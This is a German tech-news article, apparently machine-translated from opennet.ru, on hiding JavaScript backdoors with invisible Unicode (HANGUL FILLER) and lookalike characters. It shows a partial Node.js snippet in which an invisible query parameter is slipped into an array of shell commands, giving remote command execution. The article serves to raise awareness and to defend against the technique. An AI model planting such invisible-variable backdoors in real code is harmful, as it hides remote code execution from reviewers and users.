Einsatz unsichtbarer Unicode-Zeichen zur Verschleierung von Aktionen im JavaScript-Code

Nach der Trojan Source-Angriffsmetode, die auf der Anwendung von Unicode-Zeichen basiert, die die Anzeige von bidirektionalem Text Ă€ndern, wird eine weitere Technik zur EinfĂŒhrung versteckter Aktionen vorgestellt, die im JavaScript-Code anwendbar ist. Die neue Methode stĂŒtzt sich auf das Unicode-Zeichen â€žă…€â€œ (Code 0x3164, „HANGUL FILLER“), das zu den Buchstaben gehört, aber keinen sichtbaren Inhalt hat. Die Unicode-Kategorie, in die dieses Zeichen fĂ€llt, ist seit der ECMAScript 2015-Spezifikation fĂŒr die Verwendung in JavaScript-Variablennamen zugelassen, was es ermöglicht, unsichtbare Variablen oder neue Variablen zu erstellen, die in gĂ€ngigen Code-Editoren wie Notepad++ und VS Code von anderen Variablen nicht zu unterscheiden sind.

Als Beispiel wird ein Code fĂŒr die Plattform Node.js vorgestellt, in dem durch eine Variable, die aus einem einzelnen Zeichen â€žă…€â€œ besteht, ein Backdoor verborgen ist, das es ermöglicht, den vom Angreifer angegebenen Code auszufĂŒhren: app.get(‘/network_health’, async (req, res) => { const { timeout,ă…€} = req.query; // tatsĂ€chlich steht hier „const { timeout,ă…€ \u3164}“ const checkCommands = [ ‘ping -c 1 google.com’, ‘curl -s http://example.com/’,ă…€ // nach dem Komma folgt das Zeichen \u3164 ];

Auf den ersten Blick wird nur der Wert fĂŒr den timeout ĂŒber einen externen Parameter ĂŒbergeben, wĂ€hrend das Array mit den auszufĂŒhrenden Befehlen eine harmlose feste Liste enthĂ€lt. In Wirklichkeit wird jedoch der Variablen timeout der Wert einer weiteren unsichtbaren Variablen mit dem Zeichencode \u3164 zugewiesen, die ebenfalls im Array der auszufĂŒhrenden Befehle verwendet wird. Somit kann ein Angreifer, wenn eine solche Konstruktion vorliegt, eine Anfrage im Format „https://host:8080/network_health?=Befehl“ senden, um einen Backdoor zu aktivieren und eigenen Code auszufĂŒhren.

Ein weiteres Beispiel ist das Zeichen „ǃ“ (ALVEOLAR CLICK), das verwendet werden kann, um die Sichtbarkeit eines Ausrufezeichens zu schaffen. Zum Beispiel wird der Ausdruck „if(environmentǃ=ENV_PROD){“ in Node.js 14 immer wahr sein, da hier kein Vergleich angestellt wird, sondern der Variable „environmentǃ“ der Wert ENV_PROD zugewiesen wird. Zu den irrefĂŒhrenden Unicode-Zeichen gehören auch „“, „−“, „“, „⩔“, „❹“, „⫝̸“, â€žê“żâ€œ und „∗“.

Quelle: opennet.ru

Erwerben Sie zuverlĂ€ssiges Hosting fĂŒr Websites mit DDoS-Schutz, VPS VDS-Server đŸ”„ Kaufen Sie zuverlĂ€ssiges Hosting fĂŒr Websites mit DDoS-Schutz, VPS VDS-Server | ProHoster